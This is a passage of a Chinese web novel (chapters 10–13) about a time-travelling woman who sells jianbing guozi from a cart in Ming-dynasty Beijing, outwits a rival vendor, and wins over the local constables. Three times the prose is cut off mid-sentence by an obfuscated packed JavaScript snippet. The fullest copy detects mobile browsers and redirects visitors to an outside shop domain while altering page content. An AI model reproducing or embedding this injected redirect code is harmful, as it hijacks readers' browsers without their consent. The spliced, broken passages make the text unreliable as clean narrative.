一阵哄堂大笑。 姜洪听得怒火中烧，拳头捏 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闻言，姜洪狠狠往地上啐了一口，今日之事，让他仿佛回到了被赶出家门的那个夜晚，满是无力和憋屈。他抹了一把脸上的汗：“喜姐儿你比大哥聪明，你告诉我，这件事情是不是就这样算了？” 算了？ 当然不会算了。 但姜至喜从不打没准备的仗。 目光平静看了一眼对面，对上薛三挑衅又恶毒的眼神，她眼皮都没抬一下，淡淡收回视线：“既然没有生意，那就提前收摊回去吧，正好试一下新菜。” 打铁还需自身硬，与其在这里跟他置气耗着，不如趁机把小食摊子开起来——日子长着呢，谁能笑到最后尚未可知。 还有一件事情。 之前姜至喜猜测菜园的升级和里面的蔬菜有关，但卖了这么多天的生菜，菜园都毫无动静，还是今早珍姐儿询问摆摊卖什么，才提醒了她。 第一次从菜园里拿出来的食材，不是直接吃的，而是做成了香煎鸡子水饼，并获得了珍姐儿和姜洪的赞扬和喜爱。 做吃食，获得食客的喜爱，或许这才是菜园升级的真相。 可之后若是摆摊，就不能卖过于简单的鸡子水饼了。 姜至喜摸着下巴，神情若有所思。 10. 第 10 章 第10章 冬日晴好，碧空如洗。 墙头上，前些日子糊的泥巴已经结干，硬邦邦的，棘枝张牙舞爪拦在那儿，挡住了宵小贼人，却挡不住院外那株老杏树的窥探。 光秃秃的枝桠越过墙垣，在寒风中轻轻摇曳，仿佛好奇张望院内的动静。 忽而，一只手抄起来地上的积雪，“唰”的抹在黝黑的铁铛底部。 姜洪力气大，哼哧哼哧几下，那口陈年的老铛竟被他擦出了铁皮的本色，雪水一涮，虽称不上锃光瓦亮，却也干净利落，半点看不出是林家用了多年的二手货。 白日兄妹两人提早回来，巷子里不少人都看到了，或可怜或幸灾乐祸。 毕竟姜家近来赚了些小钱是有目共睹的事。偏生有些人自己不肯下苦功夫，倒把眼红别人的本事练得炉火纯青。 不过此刻的姜家小院，全然没有外人想象中那股子压抑。 院里叮叮当当响得热闹，每个人都忙得热火朝天。 珍姐儿把最小的妹妹安置在炕里头，外面挡了条旧被子防着，自己则手脚麻利地跑到院里，帮着姜洪洗刷锅碗瓢盆，装改独轮车。 这独轮车本来是用来送水的，车身窄，推起来轻快，可想要用它摆摊，就有些不够看了。 首先得把两侧的车身加宽，确保停下来就可以直接当摊位用，其次还得保证推行的时候稳当，毕竟水洒了能够重打，但卖的食材若是洒了，耽误地可是一天的生意。 兄妹俩那一句我一言商量，三个臭皮匠还能顶个诸葛亮呢，没有做过生意的二人，凭借着观察，竟也商量出了不错的方案，随后找来木板和工具，不多时，院子里就响起叮叮咚咚的锤子敲打声。 对此，姜至喜并没有插手，因为她正在准备明日出摊的备菜。 以前看小说，里面那些穿越女主随便露两手就能惊艳古人。可如今细想，古人又不是傻子，几千年的饮食文化传承下来，什么珍馐美味没尝过？ 更何况明朝还有个出了名的老饕张岱，《陶庵梦忆》里可是记载了上百种稀奇吃食呢！ 姜至喜摇了摇头。 单论厨艺，她这个半吊子怕是连张岱家的厨娘都比不上，唯一的优势，大概就是知道些未来的“新鲜玩意”？ 所以在仔细清算手上食材后，她确定了第一次摆摊的小食：煎饼果子。 作为一种广为人知的小吃，煎饼果子由来各说纷纭，后世甚至有两个省份的人为其争论不休，姜至喜本人并没有什么偏好，只要好吃的东西她都喜欢！ 但考虑到京师人的喜好，这次她做的是天津煎饼果子——没有别的原因，单纯因为两地离得更近。 传统的天津煎饼果子是用绿豆面做的，为了压缩经济成本，“黑心”的姜至喜选择用黄豆面，为了让面糊软滑点，加入一点点麦粉调和。 值得一提的是，明代成品面的价钱实在太贵了。一斤黄豆面比一斤黄豆足足贵了五文，最后，他们只能退而求其次，选择买回粮食自己磨！ 姜洪从小力气大，等到了石磨那儿，他自己一个人就包揽了磨面的全部过程，袖子一卷，推着几十斤的大磨石健步如飞，根本不需要其他人插手。 面糊准备好了，接下来便是准备其他东西。 俗话说，饼之大，一锅装不下。 纵观京师的街边小食摊，煎饼果子或许算不上滋味最惊艳的，也并非制作起来多费功夫的，但它自有独到之处——吃着省事方便，而且有肉有菜还有饼，可以满足人体的各种营养。 胃口大的，多卷点儿配菜，胃口小的，也可以只要一个最基础的单蛋煎饼果子。 为此，姜至喜准备了八种主要的配菜：小葱碎、生鸡子、黑芝麻，生菜、黄豆芽、炸肉柳（掺了淀粉），炸里脊（薄如蝉翼）、果篦儿。 种类丰富，口味多样，想必总有一款能够吸引京师人的兴趣。 至于姜饼果子最重要的酱料，不同的老板有不同的独门秘诀，姜至喜最常吃的是网络上的“万能酱料”，搬回老家后，她也曾试着做过几次，材料并不独特，常见的黄豆酱和甜面酱便可。 别以为明代人什么都不会，其实他们的发酵工艺已经很成熟。 譬如以豆麦为主的豆酱、面酱、酱油，以鱼虾为主的鱼酱、虾酱、肉酱、复合酱。 后者是在豆酱、面酱的基础上，加入西瓜、芝麻、花生、香料等制成的花色酱。 《天工开物》中也有关于酱油制作的详尽记载，由此可知，明代百姓的饮食文化趋向于多样性。 从酱货铺买回来了两种酱，姜至喜拿筷子蘸了一头，小心抿尝，发现一种味道很像黄豆酱，咸鲜带着豆子的香味，另外一种完全就是甜面酱的口感。 这让她记起一件往事。 当初她工作的写字楼下面就有一家专门卖甜面酱的店，宣传的便是嘉靖年间的老字号，她一直坚定认为是商家故弄玄虚的噱头，如今看来或许是真的？ 姜至喜有些心虚，不过再心虚，对方也不能跑到古代暴打她一顿。 所以她心安理得继续准备备菜。 点火烧灶，铁锅烧热至表面微微冒白烟，先淋入半勺冷油，两块姜片在油锅里泡个澡，炸出喷鼻的香味。 然后放入面酱和豆酱一起翻炒，姜至喜更喜欢甜一点，如此多放了一勺面酱，再加入酱油白糖等家中能找到调料，当然，想加其他的东西家里也没有。 左右上下的翻炒，这个过程不能炒太久，闻到酱香后，就立刻用淀粉兑水。 一碗白水，“滋啦”浇入酱里，姜至喜迅速搅拌几下，随着她的动作，锅内的酱料肉眼可见变得浓稠。 如此就做好了。 浓油赤酱在锅中咕嘟咕嘟冒着泡，仿佛藏着几条小鱼似的，泡泡无声炸开，香味随之飘散开来，与此同时，外面传来吸溜的口水声。 姜至喜同样口生津液。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小姑娘偷偷咽口水的模样实在好玩，姜至喜差点儿笑出声。同时心里已经默默盘算起来：除了果篦儿，明儿再买点儿油炸桧，也就是油条。 别管这样的煎饼果子还正不正宗，淀粉加淀粉才是王炸，到时候和果篦儿都安排上，看百姓喜欢哪种更多。 从晌午一直忙碌到天黑，月头升至半山腰，院外的杏枝伸展枝丫，在白墙上落下一抹清亮的剪影。 姜家兄妹三人将切好的葱花肉柳等分装进陶罐和木筐中，连同面糊、蛋液、酱料和炸好的果篦儿一一归置妥当，上面盖粗布遮好。 直起身时，腰肢终于忍不住发出酸涩的抗议，她赶紧捶了捶腰，望着这些码得整齐的食材，眼里浮现斗志，“好好休息，明天才是真正战斗的时候！” 11. 第 11 章 第11章 五更天，宵禁方解，栅栏夫打着哈欠推开木栅，正遇到身着青色鹭鸶补子官服的青年走来。 “陈大人这是要上值啊？” 陈述点头：“劳烦老丈开栅。” 栅栏夫忙不迭地摆摆手：“大人可是折煞小老儿了，小人本就是做这份差事了，栅栏已开，大人您快请。” 士农工商，士族官员站在社会的顶层，寻常老百姓见之敬畏，但这位翰林院的大人为人却着实客气，每次遇上都对他礼貌有加，而且没有官老爷的架子，居然愿意住在城南这市井之地。 陈述要是知道栅栏夫的想法，定会哭笑不得。 若是可以，他也不想住在这里。 他是从小县城考出来的寒门士子，凭着几分才学侥幸中了进士，又蒙恩选为庶吉士留在翰林院。 可京师寸土寸金，别说翰林院附近的官廨，就是普通的民宅也租赁不起，只能住在偏僻些的坊市。 平日倒还好，一遇到每月两次的朔望朝，就需要天不明出门。 这样一来，便没有时辰做饭。昨日他特意给自己预备下了剩菜，哪料夜里炭火熄了，那菜直接冻成了冰疙瘩。 再生火来不及了，陈述实在没办法，便想着去街上胡乱买点儿垫垫肚子。 买吃东西也是有讲究的，不能买带汤水的。 朔望朝虽说轮不到他一个七品的翰林发言奏事，但若因内急中途更衣，或是迟误了时辰，少不得要被御史参个“失仪”之罪。 不过好处是，他这种小官站位靠后，届时可以趁着列班的间隙，悄悄往嘴里塞几口干粮。 陈述盘算得很好。 安定门大街口有个卖馒头的摊子，几十年的老手艺，每日打那儿经过都能看到排的长长的队伍，恰逢笼屉一揭，白腾腾的热气裹着香味漫出来，有菘菜馅的，还有猪肉葱馅的。 那肉馅剁得细碎，混着切得匀净的葱白，在馒头皮里鼓囊囊的，偶尔还会洇透出油水。 虽说论滋味只是寻常，胜在个头大、馅足，比起街边那些干硬的烧饼、寡淡的素汤饼，已是顶实惠的吃食。 唯一的问题，就是他天天食用，有些腻歪了。 陈述心中无甚期待，全然为了活着而吃。像往常一般走过那段熟悉的路，刚至地方，突然注意到街角不知何时多了个新摊子。 大冬天，白雾朦朦胧胧的，唯独那处亮着一盏亮灯。 等走近了，才发现并不是什么灯，而是一个燃着石炭的小炉子。 摊子后头站着个年轻纤瘦的小娘子，对方穿着身洗到发白的棉衣，身前系一条奇怪长布，两只手左右开弓。 舀起一勺面糊，往铛上一倒，紧接着用木刮篪子转着圈推弄，仿佛文人做画似的流畅，转眼就摊好了一张薄饼。 陈述是兖州府人士，几乎立刻认出了那是家乡的煎饼！ 他眼睛一亮，浓浓的乡愁蓦地涌了上来，本要去买素馒头的脚步，自然而然转了方向，可刚迈出两步，他的表情又僵住了，似是不敢相信眼前所见。 因为那小娘子居然往煎饼里磕了颗鸡子！ 这是什么做法？陈述顿时大惊失色，心中不可置信呐喊：苍天啊，大地啊，煎饼就应该卷大葱，硬中带脆，大葱水润，才够味道！ 让他抓狂的不止如此。 接下来，那小娘子又开始往饼皮上涂抹酱料，撒青白的葱花，捻一撮炒熟的黑芝麻，她似乎问了什么，摊子前的人犹豫着点了点头，于是小娘子又放了一个棕色薄片，和一根油炸桧！ 见状，陈述两眼昏花，几乎晕倒。 他素来是个好脾性，可此刻也忍不住想要甩袖离开，步子刚刚迈出去两步，正在此时，一阵陌生的香味飘入鼻尖。 陈述脚步一顿。 外地人总爱胡乱改良兖州煎饼，恰恰是不知其中精髓，作为一个兖州人，他有必要为煎饼正名。 而只有亲自尝过“赝品煎饼”，才可以理直气壮地批评。 这般想着，他又气势汹汹折回摊前。 所谓摊子，其实是个独轮车，不过细节另有乾坤。两侧凹处作灶台，炉上架着一个小铁铛，用来摊煎饼；凸处作架，放置许多个陶罐和筐子。 车头挂着一面靛青布旗，旗面上用朱砂画着个煎饼的图案，旁边写六个没什么风骨的圆润大字：姜记煎饼果子。 此外还有不同价位，陈述正待细细看，那小娘子先一步笑吟吟开口：“这位相公可要尝尝我家的煎饼果子？六文钱一套，添一文可以加黄豆芽，若喜欢炸肉，只需再添两文便可。” 听到这个价格，陈述倒吸一口气。 一个肉馒头不过两文，这煎饼居然要六文！ 可看到里面又有鸡子，又放着油炸桧，鼓鼓囊囊的，比干啃馒头顶饱多了。再一想，街口那家汤饼馆的荤汤饼都要十文钱呢，这煎饼果子有荤有素，倒也算实惠。 他定了定神，既是批判，不如买最贵的：“给我来一份，里面加炸猪柳，葱和香菜都要。”他看刚才那食客点配菜时提到了这两种，陈述没有忌口，所以决定都加上。 “好嘞。” 小娘子脆声应了，然后便动手摊饼。 只见她舀面、摊平、打蛋，动作行云流水，那竹刮子在她手中灵巧地转着圈，不出片刻功夫，一张薄如蝉翼的饼皮就已成型。 再左右一卷，中间对半，”咔嚓”刀子一切，折成两段用油纸包住：“您的煎饼果子好了，请慢慢享用。” 陈述故作镇定拿到手中。 心中早已批判了千万遍，这人根本不会吃煎饼，看他要如何拆穿对方。 带着几分不屑，陈述拿着煎饼果子离开。 他本来打算到了地方再吃，可没有吃早饭，连走路的力气都没有了。 油纸虽然裹得住煎饼，却裹不住那股子香气，风一吹，开始无孔不入地往鼻子里钻。 陈述心里跟着发痒。 忍不住想：若到时候自己觉得难吃，摊主反咬一口是因为饼凉了，岂不是无法公正评判？ 这可不行。 于是陈述干脆停下脚步，左右看了看，寻了一处僻静无人的街边墙角。 待站定后，两三下解开油纸袋，饼子温热，放在袋子里蒸腾出不少小水珠，同时，还有愈发浓郁的香。 他审视了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈述香得眯起眼睛。 某一刻，他似乎还尝到了微微的甜。 起初以为是蔬菜的回甘，后面才发觉来自于酱料。 酱是摊主小娘子自己调的，用竹刷子在煎饼上薄薄涂了一层，虽是一层，足够覆盖食材，各色稀奇的味道融合在一块儿，辅以葱花芝麻点缀，不仅没有串味，反而被浓酱调和得妥妥当当。 咸甜交织，油润不腻，每一口都是扎实的满足。 不知不觉中，陈述吃完了一整个煎饼果子。 他舔了舔不小心沾到嘴角的酱料，也不知那小娘子怎么调的，味道比他吃过的豆酱还要美味！ 至于找茬，咳咳，这煎饼果子虽与兖州煎饼大不相同，显得不甚正宗，但从另外方面而言，倒也别有一番风味。 陈述拍了拍手，正准备扔掉油纸，余光瞥见纸袋子后面，突然“咦”了一声。 12. 第 12 章 第12章 油纸不大，用来包带煎饼果子，防止客人弄脏手，且油纸材质隔水隔油，具备一定的透气性，不至于让饼皮焖软，是时下摊贩常用的打包法子。 可再怎么常用，陈述也从未见过哪家的摊贩像姜记煎饼果子这般，竟在油纸袋背面印字！ 作为翰林院的一名庶吉士，陈述的日常工作与典章诰命为伴，堪称大明笔杆子。 乍然见到这种情形，只觉稀奇，于是本要扔掉的油纸袋又收了回来，翻过面来仔细查看。 这一看，忍不住怔住。 ——油纸背面印着的并非什么摊铺名号，而是一则发豆芽的口诀。 精捡豆，浸清水； 筐篓盛，湿布蒙； 避光线，压重石； 勤淋水，待芽生。 短短几十个字，便将生豆芽的步骤交代清楚，即便六十老叟，亦或青葱稚童，也能按方索骥顺利发好豆芽。 口诀末尾还特别声明，姜记煎饼果子里卷的豆芽菜正是按照这种法子发出来的，绝对童叟无欺。 陈述目光深深凝视那油印的文字，末了，突然叹了口气。 寒冬腊月，京师河流冰封，南边的菜运不过来，遂菜价贵于肉价，普通百姓饭桌难见青绿。 谁家要是握着发豆芽的方法，定是当做持家的生计，可那小娘子不仅没有藏着掖着，还公然印在包饼的油纸上，让谁都能学了去。 分明是真心实意，想让更多人在冬天能吃上口蔬菜。 此等胸襟，比许多大丈夫都要磊落。 想到自己之前还挑剔煎饼果子“不正宗”，陈述脸上便阵阵发烫，暗下决心，等晌午散值，一定再去光顾对方的生意。 晨钟敲响，伴随着浑厚的震颤，巍峨的朱红宫门在面前缓缓开启，陈述抵达地方，顺手将那张油纸叠收入袖中，走向熟悉的同僚身后排队。 风掀起衣袂，浓郁的香味飘散开来。 从旁侧经过的徐阁老，鼻头不动声色地耸动几下。 嗯？什么味道？ / 大都角头的确是个好位置。 卯时过半，街上行人愈发多了，煎饼果子的生意也逐渐忙碌起来。 外出给家人带朝食的当家娘子，出门采购暂时歇息的管事婆子，还有在附近酒楼食肆干活计的小工。 京师乃天子脚下，最是富庶繁华之地，治下百姓大多安居乐意，富足有余，也更乐意尝试新鲜事物。 这煎饼果子之前从来没有听过，嗯，买一个尝尝。 结果一尝，味道竟出奇的好，谁家没有个父母兄弟的？横竖不能吃独食，想着父母牙口不好，小弟又爱零嘴儿，便又打包两份带回家分去。 让姜至喜感到诧异的，买的最多的不是附近的百姓，而是上值的衙役和吏员。 大明公职人员俸禄不算丰厚，且常以“折色”“恩俸”代替，以至嘉靖、万历年后贪污成风。 但比起百姓来说，这些在官门里打工的上班族，手头还是富饶许多，最少也是加一份黄豆芽，有那大方的，直接大手一挥加了五份里脊！ 嘴上仍旧不满意，抱怨道：“你这配菜太少了。” 姜至喜浅笑，她倒想多加点，譬如什么炸鸡排炸猪排、烤肠肉松火鸡面，把后世那些堪称“奇葩”的各色配菜全部端上来，不过如此一来成本就会上去，并不适合他们眼下的情况。 好在那胖衙役也只是抱怨一二。 脸大的饼皮，打上一颗鸡子，外加五份里脊肉、三个猪柳。最后煎饼卷起来的时候，里面的配菜快要戳破饼皮，圆鼓鼓的像个大胖小子。 “差爷请慢用。” 其他衙役眼睛都直了。 “晏兄，你买这么大的饼子，吃得完吗？” “就是啊，万一不好吃，岂不是浪费钱财。” 被叫做晏兄的胖衙役乐呵呵地摆摆手，不甚在意：“放心，不好吃就喂狗。” 众人一噎，这叫哪门子放心，二十多文的吃食说喂狗就喂狗，也就晏家这般家底儿的人才说得出来。 他们可没晏几的豪气，只能精打细算，等着富裕同僚先尝上一口。 要是真好吃，六文钱嘛，未必掏不出来，就怕味道不行，白白糟蹋了铜板。 那边，晏几倒没有卖关子，拿到手后就揭开油纸。 因为离得近，袋子一打开，白茫茫的热气混着面香、蛋香、酱香、肉香，扑面而来，那味道浓烈又霸道，熏得凑近的几人口水泛滥，下意识就要跟着往前探。 临到头，晏几忽然往后退两步，警惕地瞥了他们几眼。 众人这才反应过来，煎饼果子是晏几买的，纷纷尴尬地把脖子收回来：“咳，晏兄快尝尝味道。” 不用他们说，晏几也准备吃了。 空气中的香味刺激的津液横生，他低下头，二话不说对着快要炸开的煎饼果子就是一大口。 毫不夸张，那一霎那，空气中的香味以几十倍涌入口中，晏几因为肥肉拥挤成缝的眼睛，瞪成了小牛眼。 这味道是真实存在的吗？ 第一感觉：软，咸，香。 刚刚出铛的煎饼果子，味道最正宗，芝麻是事先洒在蛋液上的，熥熟后逼出芝麻香，焦而不苦，衬得煎饼皮很有滋味。 夹肉软嫩多汁，里脊油薄，猪柳厚实，二者各有各的美味。 也不知道那年轻小娘子是怎么做的，向来腥臊的猪肉，经过处理后，不仅没有了骚气，反变得咸香入味。 晏几赶紧再咬一口，鲜的眉毛简直起飞，外头酥脆掉渣，里面嫰到涌汁，那汁水并非清汤寡水，而是从肉里缓缓煨出的油润原汁，稍微一吮，全部滋润了舌齿。 油香满口，半点不觉得腻。 晏几这等身量，一看便是个能吃会吃的。 他三两下就摸到了其中门道。手捏着油纸往上挤，将落在底下的厚厚肉片拨到上边与生菜为伴，酱汁稠稠地裹着二者，确保接下来的每一口能吃到所有的配菜。 果不其然，这样吃进肚子的味道更加丰富，先是蛋饼，而后是生菜，生菜中裹着炸肉，层次丰富有质感，只让人千金不换。 晏几自诩尝过美食无数，煎饼果子不算复杂，他只瞧了几眼，就瞧出了七七八八，唯一称得上特别的，大约是里面的酱汁。 可就是这样普通的食材、普通的做法，却让他一口接着一口，停不下来。同行的同僚们早就抛之脑后，此刻的晏几完全沉浸在美食中，腮帮子一鼓一鼓，那副酣畅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991811|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样，馋得周围人挪不开眼睛。 不知是谁先咕噜一声，咽了口口水：“……晏兄吃着如何？” “对啊，要是好吃，兄弟几个也去买一份尝尝。” 晏几意犹未尽地砸吧砸吧嘴，不知何时，手里的煎饼果子吃完了，他望着空荡荡的油纸，富态的脸皱起眉头。 落到其他人眼里，却成了另外一番意思。 众人面面相觑：莫非这食物只是闻着香，实际难吃至极？ 几个手头有些紧的衙役暗自松了口气，幸好方才没有跟着买，否则六文钱要打水漂了。 …… 薛三今日来得比昨日晚了两刻。 指使着小弟去城门口接应，然后直接把豆芽菜推到安定门大街。 此时，天色已经大亮，日头挂着暖意，可薛三丝毫不慌张。 昨日靠着压价，他们把带来的豆芽菜全部售尽，赚了百来十文，姜家兄妹却被挤兑得没卖多少。 百姓既知道有更便宜的，谁还会多掏钱？就算他晚来些，料那对兄妹也翻不出什么浪花。 他甚至猜测，今日姜家兄妹大概率会跟着降价，而这恰恰中他下怀。 他们降，他就压得更低，横竖这些豆芽是通过薛总旗的“关系”从城外园户手里收来的，本钱薄，完全拼的起。 正盘算着，薛三忽然看见对面的摊子围上了好几层人，里里外外人头攒动，竟比昨日还要热闹。 他眉头一皱，随手招来一个跟班：“你过去瞅瞅怎么回事。” 那小弟悄悄过去打听，没一会儿又跑回来：“大哥，不好了，他们改卖吃食了！” 闻言，薛三脸皮瞬间耷拉下来。 按照计划，靠着不停压价，不出几日姜家兄妹的生意便会干不下去，届时只能灰溜溜离开，谁知对方竟改卖吃食？！ 他冷哼了声，眼底厉色一闪而过，大摇大摆走过去：哟，这是做的什么？昨日你们的豆芽菜卖不出去，现在随便卷进饼里就卖给别人？” 他故意说得含糊，让人误以为姜家兄妹是把昨日卖不掉的陈豆芽掺进了饼里。 摊子前的食客买的正是加豆芽菜的，一听这话当即变了脸色：“不买了不买了！拿卖不掉的菜充数，心太黑了！” 负责收钱的姜洪急忙解释：“客官，我们这都是新鲜的豆芽菜！” “哼，谁知道你们有没有撒谎！”薛三大声反驳。 于是百姓们又犹豫起来。 见状，薛三脸上露出得意之色，他伸手就要去掀摊子上的物什，正在这时，背后突然传来一股大力，推得他头扎着往前一个踉跄，险些栽倒。 “吵什么吵！” 薛三刚要破口大骂，一扭头对上身着皂衣的衙役，对方膀大腰圆，恶狠狠呵斥：“拦路当差，想挨板子不成？” “不…不敢不敢！” 方才还气势汹汹的薛三，瞬间吓得吞咽口水，连连后退。见衙役走到姜家摊子前，又不死心开口，“差爷，他们家的豆芽菜是昨日卖不出去的陈货。” 那胖衙役，也就是晏几翻了个白眼：“嘿，关我屁事，爷看着像是吃豆芽菜的人？” 然后径直把一个碎银子丢给姜洪：“给爷再来五个加里脊的煎饼果子！” 13. 第 13 章 第13章 晏几这一要求，不止薛三傻了眼，连带着姜洪和姜至喜也愣住了。 煎饼果子六文钱，一个早晨过去，用来装铜板的钱匣子里攒了不少铜板，银子还是头一次收到。 虽然是碎银子，看着重量，少说也有二两。 姜至喜很快回过神，脸上堆起十二分的笑。她本就生得好，先前营养不良而瘦削的脸颊，因着家中伙食好转，逐渐丰润起来，衬出几分清秀：“差爷稍等，这就给您做！” 笑话，这可是位大客户，得伺候好了！ 满身疲惫一扫而空！ 姜至喜重拾抖擞，从木桶里舀了瓢子水洗干净手，为了维护大客户，还多余给每个煎饼都多添了一颗鸡子。 晏几不差这点钱，但见这小摊主如此上道，心里自然满意。 而一旁的薛三，从最初的茫然，到震惊，再到麻木。 瞥见姜至喜掩饰不住的喜色，一股夹杂着酸气的怒火直冲天灵盖，甚至压过了对衙役的畏惧。 “差爷！您可别被骗了，这俩人是住在棚户的孤儿，不知从哪弄来的材料做吃食，怕是猪都不吃。” 姜至喜：“？” 不是，商战就商战吧，怎么还自投罗网呢？ 她心里有些唏嘘，看向晏几，果然胖衙役的表情变得极其难看。 呵，猪都不吃，那已经吃过的他是什么？猪吗？ 晏几简直要气笑了。 那生菜青翠欲滴，肉质又嫩又软，绝对不是对方口中的陈货。一整个煎饼果子下肚，馋虫全部勾了起来，先前见摊子前排起长队，他不止一次后悔自己没有多买几个。 好不容易排队的人少了，晏几悄悄抛下同僚们过来，结果却突然出现一人，叨叨赖赖不让他买。 该不会是故意哄他，好趁机插队吧？ 薛三本以为能搅黄姜家生意，结果被冷眼一扫，后背莫名发凉。 偏偏就在这时候，身后传来杂乱熙攘的起哄。 “好你个晏几，自己吃完不吭声，敢情是怕我们和你抢啊！” “可不嘛，说好一起共患难，你却偷偷吃独食，忒不厚道！” 薛三回过头，视线中居然出现一群衙役，他那刚刚升起来的气顿时消散，剩下的话也噎回嗓子眼。 他哪里知道，这些衙役其实是顺天府衙的人。 平日里上值经过此处，总爱在附近买些朝食，日子久了，难免觉得腻味。 今日瞧见有新鲜吃食，众人起先不敢贸然尝试，商量过后便推家底儿殷实的衙门关系户晏几出来“试试水”。 晏几又不缺钱，当即爽快应下。 众人计划的很好，先观望，再决定买不买，这小子吃的时候一直皱眉头，半句话不说，大伙儿起初还当是味道不好呢。 结果一扭头，对方就摸出银子一口气要买五个，这哪里是难吃，分明是好吃到不想分给其他人！ 被戳穿的晏几心里着急，表面依旧嘴硬：“谁说好吃的，我这是看摊主不容易，多买几个回去给衙门的大黄改善伙食！” 同僚白眼快要翻到天上：“得了吧晏兄，大黄要有这口福，明儿怕是穿上官府替您上值了！” “就是！饼渣子掉衣服上都舍不得拍，还说给狗吃？” 有那聪明的，不参与争吵，偷偷溜到摊子前：“小娘子，给我来两个煎饼果子！” “哎，我也要两个！” “我只要一个，小娘子先给我做，嘿嘿……” 晏几眼见掩饰不过，先是心中长长哀嚎一声，索性破罐子破摔，庞大巍峨的身躯往摊子前一站，直接挡住了所有人：“懂不懂先来后到，我的五个煎饼果子一个都不能少，做完我的才能轮到你们！” 他刚才可是瞥到摊子后面的面盆，面糊只剩薄薄一层！ 见状，可是急坏了其他衙役，生怕抢不着，一时顾不得什么脸面礼节，纷纷挤上前掏钱。 至于找茬的薛三，早被推攘到了一边。 衙役虽只是不入流的胥吏，可到底是吃着皇粮的差役，寻常百姓见了都得点头哈腰，更遑论薛三这样的小小军户。 要知道，这里的军户可和后世备受推崇的军人不同，因着明太祖设立的军户制度，大明军籍低贱，世袭罔替导致多为被迫服役。且其服役是为皇权，与百姓利益关联微弱。 薛三平日仗着几分蛮横在南鼓巷横行，欺软怕硬，真正遇上官差，终究是底气不足。 姜至喜笑了。 这算不算无心插柳柳成荫？ 原本她准备了别的法子来应对薛三的刁难，不过眼下看来，倒是不必费那个功夫了。有衙役们“撑场子”，这样的好机会怎么能错过。 思及此，姜至喜将独轮车上的陶罐打开，露出里面的配菜。 而后故意提高声音，确保让周围的百姓都能听见：“几位差爷明鉴，虽是小本生意，小女也知道诚信经营的道理，断不会用不新鲜菜出来做买卖，何况小女和大哥已经在此地摆摊月余，卖的豆芽菜谁不说好？” 豆蔻年华的少女，一双杏眸含泪，因为被诬陷，瘦小的身子摇摇欲坠，却又坚韧如蒲苇：“还有这装食物的车子，我大哥昨日里里外外擦了三遍，便是希望让食客们吃得干净，吃得放心。” 姜洪怔了怔，没想到喜姐儿连这等小事都记在心上。 他害怕帮不上忙，尽量做些小事，本来很是愧疚了，这会儿听到喜姐儿的看重，眼睛控制不住红起来。 忙低头用袖子抹了把脸，生怕叫人瞧见这副没出息的模样。 其他食客却是被姜至喜的话给震住：好一个吃得干净，吃得放心！ 从前在外面买吃食，每次遇到不干净的，百姓们只能自认倒霉。 却原来，并非所有摊主都是这般敷衍了事。 这时，豆腐摊的王大突然站出来，大声道：“草民可以证明，姜小娘子家的豆芽菜很新鲜！” 之前他畏惧薛三，不敢替姜家兄妹出声，可现在官老爷们都来了，王大还有什么害怕的。 他早就忍够了！ 有一便有二，陆续的，人群中又有其他人出声：“我也买过，嫩得出水，一看就是刚发的。” “小娘子心好呢，还跟我讲要如何做才好吃。” “可不嘛，反倒是对面那家豆芽菜一点儿也不新鲜。” 这位显然是贪图便宜买了薛三豆芽的人，生气谩骂：“老子买了两斤，家去炒了根本咬不动！” “我也买了，里面还有坏豆子呢！” 被挤到角落里的薛三闻言又气又怕，这些人听到他降价自己跑来买，如今却反过来指责他，他死死瞪着那些人，恨不得扑上去生吞活剥。 衙役们没想到其中还有这般复杂的故事。 再看姜至喜，漂亮“柔弱”的小娘子总是让人心生怜惜，语气不由得温和下来：“放心，我等都看得清楚，这饼子你尽管去做。” 姜至喜脸上露出感动神色：“多谢各位差爷。” 之所以做出这一举动，主要还是为了当众给煎饼果子摊的卫生“正名”。 连衙役都相信了，其他人再说什么就是污蔑！ 解决完这件事情，姜至喜不再拖延，开始利落地给衙役们摊饼。 五个人，要了十三份煎饼果子，她做的速度并不慢，但算下来也近一刻钟，而这条街上的百姓多为路过，如此一来无法接待更多食客，看来后面可以考虑再加点儿其他可以直接卖的吃食。 稀薄的黄豆麦面，在篪子的拨下，戏法似的变成薄薄的圆饼，打一颗鸡子拌匀，翻面刷酱，再 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姜至喜爽快解答：“没错，这确实是发豆芽的法子，我家便是普通百姓，最是知道百姓生活的不易，每到冬日除了腌菜便无菜可吃，偶然发现这豆芽菜的法子，一试之下居然成功了，如今家里有了营生，这法子所以我想着，不如就教给大家。” 不是学他们么？ 豆芽菜本就是前人传下的巧思，她也不过是拾人牙慧，借过来一用。 巧的是，这样的牙慧她还有很多。 新品上新，总要搞些活动、促销吸引客人吧，正好买一份吃食附赠一份生豆芽的方子，不识字也无妨，他们可以亲自讲解，分文不取。 衙役们听的惊愕。 还能这样？！ 姜至喜狡黠一笑，怎么不能呢？ 他们将这生芽菜的法子免费教给百姓，也算响应大明皇帝号召，积德行善，是一桩顶顶好的好事呢。 损，是真损。 但爽也是真爽。 周围百姓得知这一消息，原本还没有打算买煎饼果子，这会儿突然抢着买，短短一会儿的功夫，小食摊又收到十份订单。 当然也有听了价钱被六文钱劝退的。 